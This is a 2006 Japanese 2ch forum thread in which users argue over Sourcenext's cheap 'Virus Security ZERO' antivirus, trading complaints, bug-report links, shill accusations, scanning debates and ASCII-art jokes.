284 :名無しさん@お腹いっぱい。:2006/09/04(月) 22:32:12
>>278
VSはもともとインドの会社のもの

285 :名無しさん@お腹いっぱい。:2006/09/04(月) 22:32:40
無料以下のソフトを信じて感染したら値段以上の損害

286 :名無しさん@お腹いっぱい。:2006/09/04(月) 22:34:12
今整理してるんだけど
300近いのは検出ログあげてくれないかな?
F-Secureとムーミンだっけ?

287 : ◆dQnFz0hmq. :2006/09/04(月) 22:35:47
SSもよろ

288 :名無しさん@お腹いっぱい。:2006/09/04(月) 22:39:51
VSってさ、馬鹿な女騙して金を搾り取るヒモみたいなもんじゃないかと

289 :名無しさん@お腹いっぱい。:2006/09/04(月) 22:40:48
もしキングが店頭に並んでたらVSは売れない、

290 :名無しさん@お腹いっぱい。:2006/09/04(月) 22:44:29
もし「ご自由におとり下さい」でフリーのアンチウイルスを日本語化したもののCD−ROMが店頭に置いてあったらVSは売れない

291 :名無しさん@お腹いっぱい。:2006/09/04(月) 22:44:31
VSってさ、ブリーフについた糞みたいなもんじゃないか?

292 :名無しさん@お腹いっぱい。:2006/09/04(月) 22:45:17
>>289
つ パソコンソフト【おやじシリーズ】男のインターネットセキュリティ
ttp://oyajino.com/mko-034/mko-034.html

293 :名無しさん@お腹いっぱい。:2006/09/04(月) 22:45:38
>>291
今世紀初頭にして早くも現れた最高に的確な例えだ!

294 :名無しさん@お腹いっぱい。:2006/09/04(月) 22:45:40
【フリー】 Active Virus Shield 【Kaspersky製】
http://pc8.2ch.net/test/read.cgi/sec/1155049062/


295 :名無しさん@お腹いっぱい。:2006/09/04(月) 22:53:50
>>294
http://pc8.2ch.net/test/read.cgi/sec/1155049062/395

VSも個人情報抜いてるんですか?
こわぁ〜〜〜

296 :名無しさん@お腹いっぱい。:2006/09/04(月) 22:54:14
「吐き気をもよおす『邪悪』とはッ!
 なにも知らぬ無知なる者を利用する事だ・・・!
 自分の利益だけのために利用する事だ・・・」


297 :名無しさん@お腹いっぱい。:2006/09/04(月) 23:30:30
取りあえずクソースネクストは逝っていいと思うよ

298 :名無しさん@お腹いっぱい。:2006/09/04(月) 23:33:54
VSで、十分さ
性能不足というヤツは、怪しい行為をしている連中だね

299 :名無しさん@お腹いっぱい。:2006/09/04(月) 23:35:06
>>298
フリーで十分だと思うが

300 :名無しさん@お腹いっぱい。:2006/09/04(月) 23:38:01
ソース本スレでもVSは使えないという結論に帰結した件について
(ソース支持者も同意)

【1980円】ソースネクスト! Part8【価格破壊】
http://pc7.2ch.net/test/read.cgi/software/1149851425/


301 :名無しさん@お腹いっぱい。:2006/09/04(月) 23:40:08
ウイルスセキュリティ叩きをしたいアンチたちは、
とにかくウイルス対策は検出力のみ、それが全てと
いう方向に持っていきたいらしい。

そして、叩くためのネタを各スレに貼りまくっている。
しかし、世間の人は必ずしもそうではない。
なるべく、この種の出費を抑えたい人も数多くいる。
ウイルスセキュリティZEROは、
とても安価で、必要十分な性能、そして最大のメリット、
更新料無料、更新手続き不要の優れたソフトである。

現に今も多くの人たちが支持を続けている。


302 :名無しさん@お腹いっぱい。:2006/09/04(月) 23:44:32
>>298
価格コムを見る事も怪しい行為ですか?

303 :名無しさん@お腹いっぱい。:2006/09/04(月) 23:46:14
ttp://www.sourcenext.com/license/index.html
>Q.出張サポートはあるか?
>A.ありません
法人向けなのにこの対応wwwww

304 :名無しさん@お腹いっぱい。:2006/09/04(月) 23:46:33
>>301
> 必要十分な性能

良いですね、機能ですか
どんな機能でしょう?
一昨日きやがれってな昨日なら要りませんが

305 :名無しさん@お腹いっぱい。:2006/09/04(月) 23:47:07
別に高いソフト買わなくても、VSでいいでしょう。
どこの電気屋でも売ってるし。

306 :名無しさん@お腹いっぱい。:2006/09/04(月) 23:47:14
>>301
釣り糸が見えてるぞ

307 :名無しさん@お腹いっぱい。:2006/09/04(月) 23:48:06
  
VSユーザー=支持者 ×
VSユーザー=被害者 ○

果たしてVSユーザーの何割がこの低検出率について知っているのだろうか?
そして。十分の基準は何処に?!

308 :名無しさん@お腹いっぱい。:2006/09/04(月) 23:48:13
>>305
なんでどこでも売ってるから、それでいいだろうになるんだw
それが狙いでコンビニとか本屋に置いてるのかwなるほど。社員乙

309 :名無しさん@お腹いっぱい。:2006/09/04(月) 23:50:06
オンラインスキャンだよ! VSユーザーのみんな〜是非スキャンしてみよう!
もちろん無料だよ。ウイルスの検出だけで削除とかしてくれないけどね!

【トレンドマイクロ 】
http://www.trendmicro.co.jp/hcall/index.asp
【カスペルスキー】
http://www.kaspersky.co.jp/scanforvirus/
【シマンテック】
http://www.symantec.com/region/jp/securitycheck/

何か見つかるかもよ


310 :名無しさん@お腹いっぱい。:2006/09/04(月) 23:51:07
ここまで社員の工作が目立つようになると
ソースさん大丈夫かい? 明日にでも夜逃げするんじゃないかい?
って心配になるんだけど
株価が心配だなぁ。。。

311 :名無しさん@お腹いっぱい。:2006/09/04(月) 23:53:34
>株価が心配だなぁ。。。

株どころか、たいした金も持ってないお前が心配しなくてもいい




312 : ◆dQnFz0hmq. :2006/09/04(月) 23:56:58


  ど う で も い い か ら 全 員 静 ま れ ぃ !

なんでVSスレは荒れやすいんだ

313 :名無しさん@お腹いっぱい。:2006/09/04(月) 23:58:08
>>311
日経平均に影響しないから俺は実害が無いんだけどねw
セキュリティ関連ならソースの株なんて買わないし、そもそも
この分野が言われてるほど高成長を遂げるとも思えない

314 :名無しさん@お腹いっぱい。:2006/09/04(月) 23:59:18
>>313
株も買えない貧乏人が偉そうに評論せんでいい

315 :名無しさん@お腹いっぱい。:2006/09/05(火) 00:00:19
>>313が言ってるように成長してないのなら検出率上がらなそうですね^^


316 :名無しさん@お腹いっぱい。:2006/09/05(火) 00:00:24
スマソ

317 :名無しさん@お腹いっぱい。:2006/09/05(火) 00:21:47
ヽ(´∀`)ノ ヽ(´∀`)ノ ヽ(´∀`)ノ ヽ(´∀`)ノ ヽ(´∀`)ノ ヽ(´∀`)ノ ヽ(´∀`)ノ ヽ(´∀`)ノ ヽ(´∀`)ノ

318 :名無しさん@お腹いっぱい。:2006/09/05(火) 00:26:32
>>314
株も経済も知らないお前に言われてもw
馬鹿はVSでも使って感染しなさい
少し知恵のある人はフリーソフトで固めてますよ
お金がある私はハードウェア+アウトソ−シングで対策しますけど

319 :名無しさん@お腹いっぱい。:2006/09/05(火) 00:29:52
ただより高いものはない。
ただに限りなく近いがただではないVSこそ世界で一番安い。

320 : ◆dQnFz0hmq. :2006/09/05(火) 00:31:01
 漏れは
 AntiVir
 Windows Defender
 SpywareBlaster
 Spybot - Search & Destroy
 Ad-Aware SE Personal
 ルータ

で守ってます、過去のキャプチャが証拠

321 :名無しさん@お腹いっぱい。:2006/09/05(火) 00:35:21
>>319
> ただより高いものはない。

ただだから普段は意識していないが、いざなくなると非常に困るくらい大事な物
と言うのが原意だろ
これに当てはまるのはAntiVir, Avast, AVG, ANTIDOTE, BitDefenderくらいだろ
VSには「安物買いの銭失い」が妥当だ

322 :172:2006/09/05(火) 00:42:48
ttp://f26.aaa.livedoor.jp/~hothot/1mb/src/1mb_0567.zip.html
NOD32 Kaspersky Antivir
csvにしてまとめた。
エクセルとかCSVエディタとかでソートしたりすると比較しやすい。

NODもKAVも同じウイルスでも関連ファイルまで検出するかしないか程度の違い程度。
Antivirも十分だけど少しだけごっそり抜けてるところもあった。
まぁ三つどれつかっても十分な感じ。

323 :名無しさん@お腹いっぱい。:2006/09/05(火) 00:45:55
VSアンチしますね

●ウイルスセキュリティのアップデートができない
 http://okwave.jp/kotaeru.php3?q=2381674

●K7SysMn1.DLL−アプリケーションエラー
 http://okwave.jp/kotaeru.php3?q=2379579

●ウイルスセキュリティ2006の利用開始手続きが完了しない
 http://okwave.jp/kotaeru.php3?q=2379288

●ウィルスセキュリティ起動中にインストール不具合
 http://okwave.jp/kotaeru.php3?q=2375689

●ウイルスセキュリティの自動更新設定が出来ない
 http://okwave.jp/kotaeru.php3?q=2374484

●ウイルスセキュリティのアンインストールが不可能!
 http://okwave.jp/kotaeru.php3?q=2374364

●ウイルスセキュリティのバージョンアップ後Windowsが起動しなくなった
 http://okwave.jp/kotaeru.php3?q=2373198

●「ウイルスセキュリティ」をインストールすると,インターネットにつながらなくなる
 http://okwave.jp/kotaeru.php3?q=2372897

●イルスセキュリティを導入したら、サーバーにホームページがアップ出来ませんが!
 http://okwave.jp/kotaeru.php3?q=2366271

●ウィルスセキュリティーをインストールしたら特定のソフトが起動しなくなった
 http://okwave.jp/kotaeru.php3?q=2364498

324 :名無しさん@お腹いっぱい。:2006/09/05(火) 00:49:57
全てにソースがあるな。信者の切り返しに期待

325 :172:2006/09/05(火) 00:51:19
>>322
ttp://aploda.org/dl.php?mode=pass&file_id=0000005715.zip
なんかUP失敗したのかDLできないみたいだから上げなおした。

326 :名無しさん@お腹いっぱい。:2006/09/05(火) 00:57:21
●sourcenextのウイルスセキュリティをインストールしたところ、ネットワークグループ設定が出来なくなりました。
 http://okwave.jp/kotaeru.php3?q=2338943

●ウイルスセキュリティの自動検知後にシステムの復元ポイントが消失
 http://okwave.jp/kotaeru.php3?q=2338671

●ウィルスセキュリティのインストール
 http://okwave.jp/kotaeru.php3?q=2337851

●再インストールするウイルスを検知し、アップデートすると自動検知不能
 http://okwave.jp/kotaeru.php3?q=2337227

●証券会社のオンライントレードができなくなりました。
 http://okwave.jp/kotaeru.php3?q=2336969

●ソースネクストのウイルスソフトでwebmailが不具合
 http://okwave.jp/kotaeru.php3?q=2336493

●無線LANが組めません!
 http://okwave.jp/kotaeru.php3?q=2333968

●ウイルスセキュリティZEROはどうなの?
 http://okwave.jp/kotaeru.php3?q=2331221

●ユーザー登録完了通知が送られているのにパソコンを立ち上げるたびにユーザー登録して下さいとメッセージがでる。
 http://okwave.jp/kotaeru.php3?q=2330262

●システム防御有効にできない!
 http://okwave.jp/kotaeru.php3?q=2328004

●ウイルスセキュリティK7を入れてから、取引客先からのEメール(転送メールのみ)が届かなくなりました!
 http://okwave.jp/kotaeru.php3?q=2322592

327 :名無しさん@お腹いっぱい。:2006/09/05(火) 01:06:21
>>310
          ____   
       / \  /\ キリッ
.     / (ー)  (ー)\     ここまで社員の工作が目立つようになると
    /   ⌒(__人__)⌒ \    ソースさん大丈夫かい? 明日にでも夜逃げするんじゃないかい?
    |      |r┬-|    |    って心配になるんだけど
     \     `ー'´   /    株価が心配だなぁ。。。
    ノ            \
  /´               ヽ              
 |    l              \
 ヽ    -一''''''"~~``'ー--、   -一'''''''ー-、.    
  ヽ ____(⌒)(⌒)⌒) )  (⌒_(⌒)⌒)⌒))



          ____
        /_ノ  ヽ、_\
 ミ ミ ミ  o゚((●)) ((●))゚o      ミ ミ ミ
/⌒)⌒)⌒. ::::::⌒(__人__)⌒:::\   /⌒)⌒)⌒)    だっておwww
| / / /     |r┬-|    | (⌒)/ / / //    ソースは上場してないからwww
| :::::::::::(⌒)    | |  |   /  ゝ  :::::::::::/        ネタだよね?www ネタだよね?www
|     ノ     | |  |   \  /  )  /        釣られちゃったかな?www
ヽ    /     `ー'´      ヽ /    /     バ
 |    |   l||l 从人 l||l      l||l 从人 l||l  バ   ン
 ヽ    -一''''''"~~``'ー--、   -一'''''''ー-、    ン
  ヽ ____(⌒)(⌒)⌒) )  (⌒_(⌒)⌒)⌒))


328 :名無しさん@お腹いっぱい。:2006/09/05(火) 01:22:57
ソースの上場取り消しって今更そんな黒歴史を掘り返さなくても

「ソースネクスト株式会社株式の新規上場の承認の取消しについて」
http://www.monex.co.jp/AboutUs/00000000/guest/G800/new/news20215.htm

「衝撃!投書テロで上場取り消し?」
http://www.fpsoken.co.jp/cgi-bin/view/column.cgi?PAGE=20020307_ipo_tou

「ソースネクストNJ上場承認取り消し」
http://money4.2ch.net/test/read.cgi/venture/1013825377/

329 :名無しさん@お腹いっぱい。:2006/09/05(火) 01:45:16
みんなわくわく地盤沈下

330 :名無しさん@お腹いっぱい。:2006/09/05(火) 01:47:02
>>329
昔から思ってたけどさ、わくわくしてるのはアンチだけだよなw
まったく信者泣かせのソフトだぜ

331 :名無しさん@お腹いっぱい。:2006/09/05(火) 01:49:00
ソースネクストのウイルスソフト常駐で、ウイルス感染
http://okwave.jp/kotaeru.php3?q=2365648

おいおい、、 意味ないじゃん、、、、。

332 :名無しさん@お腹いっぱい。:2006/09/05(火) 01:49:48
>>331
いつものこと

333 :名無しさん@お腹いっぱい。:2006/09/05(火) 02:01:29
>>331

http://okwave.jp/kotaeru.php3?q=2365648
No.6の回答なんか変


334 :名無しさん@お腹いっぱい。:2006/09/05(火) 02:04:19
どう見てもソフトに非があるんだがwww何が定期スキャンだw
勝手に更新されて常駐してるのに感染したってことは対応してるウイルスが明らかに少ないってことだろw

335 :名無しさん@お腹いっぱい。:2006/09/05(火) 02:05:48
>>333
No6はVS信者

336 :名無しさん@お腹いっぱい。:2006/09/05(火) 02:08:22
>ウイルスソフトは常時入れていたので安心していたのですが…

まあ、実際にウイルスに感染していたのだから
ウイルスソフトを常時入れていた事に違いはないか。

337 :名無しさん@お腹いっぱい。:2006/09/05(火) 02:09:02
毎回思うんだが常駐で常に監視してるのに何で定期スキャンで発見できると思えるんだ?
常駐で全拡張子を監視するデフォルト設定のままだと定期スキャンしても発見なんかできねえよ
できたとしたら常駐監視の欠陥だ。すり抜けてんだからな

338 :名無しさん@お腹いっぱい。:2006/09/05(火) 02:09:23
VSはリカバリ領域のファイルまで削除してリカバリが出来なくなってしまう

FAT32のリカバリ領域のファイルを隔離(削除)されたら?
http://okwave.jp/kotaeru.php3?q=2306179

339 :名無しさん@お腹いっぱい。:2006/09/05(火) 02:11:44
こうなるとさすがにVSの存在自体がネタに思えてくるぜ

340 :名無しさん@お腹いっぱい。:2006/09/05(火) 02:13:49
>>337
VS常駐、定期スキャン→オンラインスキャンなんじゃないのVS信者は。さすがにVSの検出率はヤバイし

341 :名無しさん@お腹いっぱい。:2006/09/05(火) 02:33:23
>>340
オンラインスキャンは分かる。他社製で、エンジンが違うんだから
だが常駐で発見できなくて定期スキャンで発見できることなど、ない

342 :名無しさん@お腹いっぱい。:2006/09/05(火) 02:37:48
http://sec.sourcenext.info/support/agreement.html
第5条(保証範囲)
本製品の選択および使用効果については、お客様の責任とさせていただきます。また、弊社は、本条以外には、本製品、本マニュアル等、および本条第4項のサポート・サービスに関して一切の保証責任または瑕疵担保責任を負わないものとします。


343 :名無しさん@お腹いっぱい。:2006/09/05(火) 02:39:57
そう?
メールかなんかで手動でスキャンして発見した時があった気がする
マカの場合、常時で発見した場合念のため全スキャンするようにメッセージが出るし
常時監視よか、手動で全スキャンした方が検出力高いのでは?
もしくは、常駐監視をすり抜けられる可能性があるのでは?
常駐は、水際で食い止めるもので感染後は無力なんじゃいのかな
手動スキャンは、感染後でも発見できるんだと思うんだ

344 : ◆dQnFz0hmq. :2006/09/05(火) 02:41:08
信者たたきに使えそうなのでうp
http://akiba.geocities.jp/gckks439/vs.html

345 :名無しさん@お腹いっぱい。:2006/09/05(火) 02:41:12
ウイルスに引っ掛かるお前が悪いのだよー
バーカと言ってるようだw

346 :名無しさん@お腹いっぱい。:2006/09/05(火) 02:43:08
ウィルスに引っかかるって どうゆうこと?

347 :名無しさん@お腹いっぱい。:2006/09/05(火) 02:49:59
>>346
かんせーん

348 :名無しさん@お腹いっぱい。:2006/09/05(火) 02:59:28
>>343
常駐監視ってのは言ってしまえばメモリ内に手動スキャンが常駐してるようなもの
ファイル作成時やアクセス、メモリ内を常に監視し自動的にスキャンが展開していると思えばいい
どちらが性能が高いというのはない
発見できた場合は単純に監視してなかっただけの話

349 :名無しさん@お腹いっぱい。:2006/09/05(火) 04:03:28
>>343
とりあえず
>常時監視よか、手動で全スキャンした方が検出力高いのでは?
常駐監視の方が検出率は高いですよ。これは恐らく確実。
圧縮ファイル対応率などが良い例。オンアクセス検査に圧縮も何もありませんから。
>常駐監視をすり抜けられる可能性があるのでは?
どうやって? すべてのファイルとメモリ内部を監視してたらそんなこと起こりようがないんじゃない?
>手動スキャンは、感染後でも発見できるんだと思うんだ
感染後だろうが前だろうが、プログラムというのはメモリ内にそれを展開して動いてるわけです。
メモリ内部を監視していれば後とか前とかは関係ないよ。

350 :名無しさん@お腹いっぱい。:2006/09/05(火) 04:26:28
優待版と新規版で価格変えてるメ−カーってずるいと思わない?

351 :名無しさん@お腹いっぱい。:2006/09/05(火) 04:46:41
>>349
>常駐監視の方が検出率は高いですよ
いや、同じじゃねーの
オンデマンド検査とオンアクセス検査ではオンアクセス検査の方が検出率は高くなるが
今の場合は手動スキャンと常駐監視でのスキャンの話だからメモリ展開分がない
よって検出率は同じ。自動でやるか手動でやるかの違いなんだから同じに決まってるんだが

352 :名無しさん@お腹いっぱい。:2006/09/05(火) 04:57:55
>>328
>担当会計士である中央青山監査法人
(((( ;゚Д゚)))ガクガクブルブル

353 :名無しさん@お腹いっぱい。:2006/09/05(火) 05:25:22
http://okwave.jp/kotaeru.php3?q=2345455
なんか質問者もテンパった妙な奴だと思ったら専門家と称する回答者のset_u_aも臭ぇなぁ
名前をクリックしてみたら
http://okwave.jp/user.php3?u=263342
なーんで回答がすべてウイルスセキュリティに偏ってんですか?
ソースネクスト絡みの質問にしか回答しない専門家って何者ですかね
2004年に登録しておいて回答がここ最近に集中しているのもわけわかりませんね

354 :名無しさん@お腹いっぱい。:2006/09/05(火) 05:38:51
専門家にも愛されるウイルスセキュリティって事だね^^

355 :名無しさん@お腹いっぱい。:2006/09/05(火) 05:56:11
専門家(ソースネクストの社員)のくせにお礼数:0件、ありがとうポイント:0ポイントw
何の役にも立ってないw

356 :名無しさん@お腹いっぱい。:2006/09/05(火) 06:57:48
優待版と新規版で価格変えてるメ−カーってずるいと思わない?

357 :名無しさん@お腹いっぱい。:2006/09/05(火) 07:59:45
簡単に言えば実行するまでウイルスかどうか分からないってことなんだけど
こんな手動検査に、意味ある?

これの回答が

感染後だろうが前だろうが、プログラムというのはメモリ内にそれを展開して動いてるわけです。
メモリ内部を監視していれば後とか前とかは関係ないよ。

ってことでOK?

358 :名無しさん@お腹いっぱい。:2006/09/05(火) 08:04:08
だからザルなんじゃないの

359 :名無しさん@お腹いっぱい。:2006/09/05(火) 09:33:11
ZEROの性能アップに協力しようよー
他のソフトで検出したけど・・・と連絡すると
4、5日してCDが送ってきます
これにウィルス入りファイルを焼いて送り返します。

メールの受付はしないし
もう2ヶ月だけど対応しては居ないけどね

何回連絡したら3980の元が取れるかなー

360 :名無しさん@お腹いっぱい。:2006/09/05(火) 10:15:38
お前らスケベなサイトによく行くからウィルスに感染するんだよ

361 :名無しさん@お腹いっぱい。:2006/09/05(火) 11:41:36
有料の他社ソフト使用者
「フリー以下の検出力で金を取るとはふてぇ野郎だ」

フリーソフト使用者
「ちょwおまww冗談キツイ なんでフリー使わないんだ?」

某●B●00%関係者
「はぁ?見た事も聞いた事も無いが?」

ZERO使用者
「必要十分な性能 更新手続き不要で優れたソフト 支持されている」

            ,, -――-、
            //ヾソ)),il|,);r、.      さあ他社ソフト使用者が赤パネルを埋めるか
          /";彡`ヾド!ソツノ゙ミヾ、
           i;彡   _ _   ミ. i     フリーソフト使用者が逆転を狙って緑パネルを埋めるか
         ,i;;;彡 ,.,._ .  :_..、ヾ/
         i:yv. ´;.。.、`; ;。:、 リ       それとも某●B●00%関係者が負けじと白パネルを埋めるか
         ヽ`i  、 _;ノ,: i、:_,. !      
         `| ,__、,.r、_.bヽ. ,′      青パネルはこのまま消えていくのかZERO使用者
        /r´.三ミD‐-;→;ソ  
    , : -´ ̄|::::|´^, r〕!Ξ´.ノ‐- 、.      まさしく角を獲る戦いが始まります!
  /::::::::::::::::ヽノ   )´、:_丿|::\:::::::`‐-、.   
./ :::::::\_:::::::∧ , _.∧ ./.ヽ !:::::::ヽ:::::::::|:`,   アタック、チャ〜ンス!



362 :名無しさん@お腹いっぱい。:2006/09/05(火) 11:42:14
>>343
常駐監視しててもウィルスに感染する可能性はある。

その理由はふたつある。

ひとつめは、ウィルスの定義ファイルの更新が間に合っていない場合。

ウィルスの定義ファイルがなければ
常駐監視のプログラムは、ウィルスをウィルスとして認識できないからだ。

二つ目は、未知のウィルスに遭遇した場合。

賢いソフトならば、ヒューリスティックエンジンの性能が高いので
未知のウィルスを発見できるだろうが、そうそう、うまくはいかない。
だからこそ、ウィルスをウィルスとして認識させる為の
ウィルスの定義ファイルの更新を、どこのメーカーでもやっているのだ。

また、上にあげたふたつの理由によって
すでに悪性のウィルスに感染した場合

「特定のソフトの監視機能を無効化」

する場合もあるので、複数のオンラインスキャンにでもかけないと
悪性のウィルスを発見できないパターンもありえうるので、ご注意を。

363 :名無しさん@お腹いっぱい。:2006/09/05(火) 11:54:48
そかぁ
みんなあのウィル入りzip、ダウンロード段階で駆除もしくは感染を発見できてるんだ
俺のアンチウィルスソフトは無反応だったんで常駐では発見出来なかったことになる
これって問題?
手動でスキャンしたらもちろんヒットしたけどこれってどうゆうことなんだろ?


364 :名無しさん@お腹いっぱい。:2006/09/05(火) 12:03:34
>>363
ソフトは何?
問題と言うか早期に発見→削除の方が当然ダメージは少ない。
ちなみに安モンソフトの一つ、ウイルスキラーですら
ダウンロードスキャン(Office/IE DLスキャンツール)がある。
他のスレの報告ではDL直後に反応するらしいが。

365 :名無しさん@お腹いっぱい。:2006/09/05(火) 13:58:00
このソフトで特定のポートを開きたいんですけど、どうすればできるでしょうか?

366 :名無しさん@お腹いっぱい。:2006/09/05(火) 16:20:54
>>357
本家スレのやつかそれ。全然回答になってないけど。
手動検査はザルという話で、常駐監視がメモリを監視している云々は別の話。

367 :名無しさん@お腹いっぱい。:2006/09/05(火) 16:41:08
>>363
単にzipを監視してなかったってだけの話だろう

368 :名無しさん@お腹いっぱい。:2006/09/05(火) 17:28:03
つまり、俺の使ってるアンチウィルスソフトは常駐機能ではzipを監視してないってこと?
で、手動でスキャンした場合はzipも含めてスキャンするのでヒットすると
理由はどうあれ、常駐と手動スキャンに差があるってことでいいのかな

369 :名無しさん@お腹いっぱい。:2006/09/05(火) 17:34:28
>>368
>俺の使ってるアンチウィルスソフト
なにつかってるの?ものよっては、回答が違ってくるぜ┐(´▽`)┌

370 :名無しさん@お腹いっぱい。:2006/09/05(火) 19:01:16
時代は、ウイルスセキュリティZEROの時代。
当然、ウイルスセキュリティZEROのスレは此処だけです。

荒らしは、アチコチに訳の分からないスレを立ててますが。

371 :名無しさん@お腹いっぱい。:2006/09/05(火) 19:02:21
>>369
キモイ

372 :名無しさん@お腹いっぱい。:2006/09/05(火) 19:02:56
ウイルスセキュリティZEROの本当のユーザーの
使用感、良いところなどの生の声が聞けるのは、ここだけです。

373 :名無しさん@お腹いっぱい。:2006/09/05(火) 19:03:59
大手は性能で勝負してシェアを上げてきて、まさに正統派なんだよね。
VSは低価格と広告戦略でシェアを上げてきて正統派とは言えない。
大手は価格競争に巻き込まれるしね。
アンチはそれが気に入らないんだよね。
でもシェアを上げてきたVSもこれからは社会的な影響も考えて性能アップをはかるんじゃないかな。

大手は性能戦略から価格戦略へ。

VSは価格戦略から性能戦略へ。

374 :名無しさん@お腹いっぱい。:2006/09/05(火) 19:25:00
>>371
また、キモイ人が好きな人がいるよ〜(ゲンナリ
急いで逃げてーーー!!!キモイ人ーーー!!!


375 :名無しさん@お腹いっぱい。:2006/09/05(火) 19:39:41
ウイルスセキュリティ、ここでぼろくそ言われているほどひどくない。
ちゃんと使えているよ。

トクした感じ。ニコニコ。

376 :名無しさん@お腹いっぱい。:2006/09/05(火) 20:30:23
>>375

sonoesajya,turenaiyo-

377 :名無しさん@お腹いっぱい。:2006/09/05(火) 20:30:25
さっそく被害者

378 :名無しさん@お腹いっぱい。:2006/09/05(火) 20:33:08

オンラインスキャンだよ!

VSユーザーのみんな〜是非スキャンしてみよう!

もちろん無料だよ。

ウイルスの検出だけで削除まではしてくれないけどね!

【トレンドマイクロ 】
http://www.trendmicro.co.jp/hcall/index.asp
【カスペルスキー】
http://www.kaspersky.co.jp/scanforvirus/
【シマンテック】
http://www.symantec.com/region/jp/securitycheck/

見つかるのは希望か、失望か?


379 :名無しさん@お腹いっぱい。:2006/09/05(火) 21:26:06
アンチは、動作報告も釣り扱いかw
すっかり性格がねじ曲がってるね。
もう人間やめた方がいいよ。

380 :名無しさん@お腹いっぱい。:2006/09/05(火) 21:40:44
10年間本当に使うかどうか、未定ですが、
2〜3年でも十分な価格です。
こういうソフトは有り難い。

381 :名無しさん@お腹いっぱい。:2006/09/05(火) 22:05:55
はじめからつかうな。

382 :名無しさん@お腹いっぱい。:2006/09/05(火) 22:09:48
SNソフトという自体有り難くない

383 :名無しさん@お腹いっぱい。:2006/09/05(火) 22:13:16
>>380
10年使う前にPCがあぼーんするよ

●ウイルスセキュリティのバージョンアップ後Windowsが起動しなくなった
 http://okwave.jp/kotaeru.php3?q=2373198

●ソースネクストのウイルスソフト常駐で、ウイルス感染
 http://okwave.jp/kotaeru.php3?q=2365648

●突然勝手に再起動しちゃうんです><;
 http://okwave.jp/kotaeru.php3?q=2342196

●ウイルスセキュリティの自動検知後にシステムの復元ポイントが消失
 http://okwave.jp/kotaeru.php3?q=2338671

●FAT32のリカバリ領域のファイルを隔離(削除)されたら?
 http://okwave.jp/kotaeru.php3?q=2306179

●ウィルスセキュリティをインストールしたら、Windowsアップデートが出来なくなった。
 http://okwave.jp/kotaeru.php3?q=2166311


384 :名無しさん@お腹いっぱい。:2006/09/05(火) 22:17:51
大手は性能で勝負してシェアを上げてきて、まさに正統派なんだよね。
VSは低価格と広告戦略でシェアを上げてきて正統派とは言えない。
大手は価格競争に巻き込まれるしね。
アンチはそれが気に入らないんだよね。
でもシェアを上げてきたVSもこれからは社会的な影響も考えて性能アップをはかるんじゃないかな。

大手は性能戦略から価格戦略へ。

VSは価格戦略から性能戦略へ。

385 :名無しさん@お腹いっぱい。:2006/09/05(火) 22:43:17
ウイルス拾っても気にしない。
重要なデータ入れてないし。


386 :名無しさん@お腹いっぱい。:2006/09/05(火) 22:53:23
まだわからんのか

http://www.lib.city.minato.tokyo.jp/MNWLIB/servlet/search.detail_list?tilcod=1000000063856

http://www2.library.shinjuku.tokyo.jp/cgi-bin/detail?biblioid=0201496384&type=0&count=10&before=select

http://libweb.city.setagaya.tokyo.jp/clis/detail?NUM=004086094&CTG=1&RTN=01&SID=003978566&RTNPAGE=/search2.html

http://www.lib.adachi.tokyo.jp/ADCLIB/servlet/search.detail_list?tilcod=0510001371

http://libweb.city.setagaya.tokyo.jp/clis/detail?NUM=004086094&CTG=1&RTN=01&SID=004282650&RTNPAGE=/search2.html

387 :名無しさん@お腹いっぱい。:2006/09/05(火) 23:26:21
分かった、分かったよ・・・

388 :名無しさん@お腹いっぱい。:2006/09/05(火) 23:49:09
>>382
SMソフトだったら良かったのに

389 :名無しさん@お腹いっぱい。:2006/09/06(水) 00:05:25
いよいよ、当部署でもウイルスセキュリティを使うことになった。
安いから、と上層部の決定。
今後、全社的に導入する予定。
やはり、安さには魅力があるらしい。


390 :名無しさん@お腹いっぱい。:2006/09/06(水) 00:12:31
安さだけ売りにして、検出力の低さは教えないから
会社もかわいそう

391 :名無しさん@お腹いっぱい。:2006/09/06(水) 00:18:08
既に感染してるんじゃね
でもVSだと検出できなくて分からないとか

392 :名無しさん@お腹いっぱい。:2006/09/06(水) 00:19:57
そのアホな会社の名前をおしえてー

393 :名無しさん@お腹いっぱい。:2006/09/06(水) 00:20:38
ご愁傷様です

394 :名無しさん@お腹いっぱい。:2006/09/06(水) 00:23:12
従業員100人足らずの乳製品を扱う商社です。

395 :名無しさん@お腹いっぱい。:2006/09/06(水) 00:26:08
大手は性能で勝負してシェアを上げてきて、まさに正統派なんだよね。
VSは低価格と広告戦略でシェアを上げてきて正統派とは言えない。
大手は価格競争に巻き込まれるしね。
アンチはそれが気に入らないんだよね。
でもシェアを上げてきたVSもこれからは社会的な影響も考えて性能アップをはかるんじゃないかな。

大手は性能戦略から価格戦略へ。

VSは価格戦略から性能戦略へ。

396 :名無しさん@お腹いっぱい。:2006/09/06(水) 00:29:41
また妄想で何か語ってる気になってるし

397 :名無しさん@お腹いっぱい。:2006/09/06(水) 00:51:02
ウイルスセキュリティを愛用する人は、

どんどん、どんどん

増えています!

数年後は、シェアトップかも

398 :名無しさん@お腹いっぱい。:2006/09/06(水) 01:12:03
BCN AWARD 2006
シマンテック45.4%、トレンドマイクロ25.7%、ソースネクスト15.7%
BCN AWARD 2005
シマンテック42.8%、トレンドマイクロ31.3%、ソースネクスト16.7%

減ってるね

399 :名無しさん@お腹いっぱい。:2006/09/06(水) 01:19:32
消費者も気づき始めたのかな

400 :名無しさん@お腹いっぱい。:2006/09/06(水) 01:22:40
>>397








       ____
     /⌒  ⌒\ ホジホジ
   /( ●)  (●)\
  /::::::⌒(__人__)⌒::::: \  <で?
  |    mj |ー'´      |
  \  〈__ノ       /
    ノ  ノ


401 :名無しさん@お腹いっぱい。:2006/09/06(水) 01:42:59
          ____
        /_ノ  ヽ、_\
 ミ ミ ミ  o゚((●)) ((●))゚o      ミ ミ ミ     またアンチが馬鹿な事書いてるお
/⌒)⌒)⌒. ::::::⌒(__人__)⌒:::\   /⌒)⌒)⌒)     ウイルスセキュリティはシェアを増やし続けるおwwwwwwww
| / / /     |r┬-|    | (⌒)/ / / //
| :::::::::::(⌒)    | |  |   /|^| ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄|
|     ノ     | |  |   \| |             |
ヽ    /     `ー'´     | |            |
 |    |   l||l 从人 l||l   | |     VAIO     |
 ヽ    ---一ー_~、⌒)、⌒)^),|_|              |
  ヽ _____,ノ|____|_|____________|


         ____、′     、 ’、  ′
       /      \     . ’      ’、
      /  ─    ─\ 、′・. ’   ;   ’、 ’、′‘ .・”
